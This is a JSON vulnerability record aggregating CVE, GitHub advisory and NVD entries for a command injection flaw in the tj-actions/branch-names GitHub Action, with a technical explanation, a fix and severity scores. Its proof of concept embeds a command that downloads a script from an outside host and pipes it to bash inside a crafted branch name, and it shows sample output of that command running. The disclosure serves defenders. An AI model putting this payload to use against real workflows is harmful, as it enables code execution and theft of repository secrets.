{"id":"CVE-2025-54416","aliases":["CVE-2025-54416","GHSA-gq52-6phf-x2r6"],"related":[],"kind":"vulnerability","state":"published","title":"tj-actions/branch-names Contains Command Injection Vulnerability","summary":"tj-actions/branch-names is a Github actions repository that contains workflows to retrieve branch or tag names with support for all events. In versions 8.2.1 and below, a critical vulnerability has been identified in the tj-actions/branch-names' GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0","summarySource":"cvelist","descriptions":[{"lang":"en","text":"tj-actions/branch-names is a Github actions repository that contains workflows to retrieve branch or tag names with support for all events. In versions 8.2.1 and below, a critical vulnerability has been identified in the tj-actions/branch-names' GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0","source":"cvelist"},{"lang":"en","text":"#### **Overview**\n\nA critical vulnerability has been identified in the `tj-actions/branch-names` GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.\n\n#### **Technical Details**\n\nThe vulnerability stems from the unsafe use of the `eval printf \"%s\"` pattern within the action's codebase. Although initial sanitization using `printf \"%q\"` properly escapes untrusted input, subsequent unescaping via `eval printf \"%s\"` reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:\n\n```bash\necho \"base_ref_branch=$(eval printf \"%s\" \"$BASE_REF\")\" >> \"$GITHUB_OUTPUT\"\necho \"head_ref_branch=$(eval printf \"%s\" \"$HEAD_REF\")\" >> \"$GITHUB_OUTPUT\"\necho \"ref_branch=$(eval printf \"%s\" \"$REF_BRANCH\")\" >> \"$GITHUB_OUTPUT\"\n```\n\nThis approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.\n\n#### **Proof-of-Concept (PoC)**\n\n1. Create a branch with the name `$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)`.\n2. Trigger the vulnerable workflow by opening a pull request into the target repository.\n3. Observe arbitrary code execution in the workflow logs.\n\nExample output:\n```bash\nRunning on a pull request branch.\nRun echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n  echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n  shell: /usr/bin/bash -e {0}\nRunning on pr: === PoC script executed successfully ===\nRunner user: runner\n```\n\n#### **Impact**\n\nThis vulnerability enables arbitrary command execution in repositories consuming outputs from `tj-actions/branch-names`. The severity of the impact depends on the permissions granted to the `GITHUB_TOKEN` and the context of the triggering event. Potential consequences include:\n\n- Theft of sensitive secrets stored in the repository.\n- Unauthorized write access to the repository.\n- Compromise of the repository's integrity and security.\n\n#### **Mitigation and Resolution**\n\nTo address this vulnerability, the unsafe `eval printf \"%s\"` pattern must be replaced with safer alternatives. Specifically, direct `printf` calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:\n\n```bash\nprintf \"base_ref_branch=%s\\n\" \"$BASE_REF\" >> \"$GITHUB_OUTPUT\"\nprintf \"head_ref_branch=%s\\n\" \"$HEAD_REF\" >> \"$GITHUB_OUTPUT\"\nprintf \"ref_branch=%s\\n\" \"$REF_BRANCH\" >> \"$GITHUB_OUTPUT\"\nprintf \"tag=%s\\n\" \"$TAG\" >> \"$GITHUB_OUTPUT\"\n```\n\nThis approach ensures that all outputs remain properly escaped and safe for downstream consumption.\n\n#### **Recommendations**\n\n1. **Immediate Action**: Developers using the `tj-actions/branch-names` workflow should update their workflows to latest major version [v9](https://github.com/tj-actions/branch-names/releases/tag/v9.0.0).\n\n#### **References**\n- [GitHub Actions Security Guide](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- [How to Secure GitHub Actions Workflows](https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql/)\n- [Related Vulnerability: GHSA-mcph-m25j-8j63](https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63)\n- [Template Injection Advisory: GHSA-8v8w-v8xg-79rf](https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf)","format":"markdown","source":"ghsa"},{"lang":"es","text":"tj-actions/branch-names es un repositorio de acciones de GitHub que contiene flujos de trabajo para recuperar nombres de ramas o etiquetas, compatible con todos los eventos. En las versiones 8.2.1 y anteriores, se identificó una vulnerabilidad crítica en el flujo de trabajo de acciones de GitHub de tj-actions/branch-names, que permite la ejecución de comandos arbitrarios en flujos de trabajo posteriores. Este problema surge debido a una depuración de entrada inconsistente y una salida sin escape, lo que permite a actores maliciosos explotar nombres de ramas o etiquetas especialmente manipulados. Si bien se han implementado mecanismos internos de depuración, las salidas de las acciones siguen siendo vulnerables, lo que expone a los flujos de trabajo que consumen recursos a importantes riesgos de seguridad. Esto se solucionó en la versión 9.0.0.","source":"nvd"}],"published":"2025-07-25T19:28:22.000Z","modified":"2026-09-10T03:50:57.955Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-77"],"affected":[{"ranges":[{"version":"< 9.0.0","status":"affected"}],"vendor":"tj-actions","product":"branch-names","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"9.0.0"}],"ecosystem":"GitHub Actions","package":"tj-actions/branch-names","source":"ghsa"}],"references":[{"url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-gq52-6phf-x2r6","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/commit/e497ceb8ccd43fd9573cf2e375216625bc411d1f","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/releases/tag/v9.0.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54416","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/tj-actions/branch-names","tags":["package"],"sources":["ghsa"]},{"url":"https://securitylab.github.com/resources/github-actions-untrusted-input","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-07-28T15:28:06.240Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54416","url":"https://www.cve.org/CVERecord?id=CVE-2025-54416","licence":"CVE Terms of Use","modified":"2025-07-28T18:55:45.827Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gq52-6phf-x2r6","url":"https://github.com/advisories/GHSA-gq52-6phf-x2r6","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:57.955Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54416","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54416","licence":"Public domain","modified":"2026-06-17T09:40:03.833Z"}],"updatedAt":"2026-11-25T22:59:01.756Z","epss":{"score":0.00913,"percentile":0.61126,"date":"2026-12-01T12:00:22.000Z"}}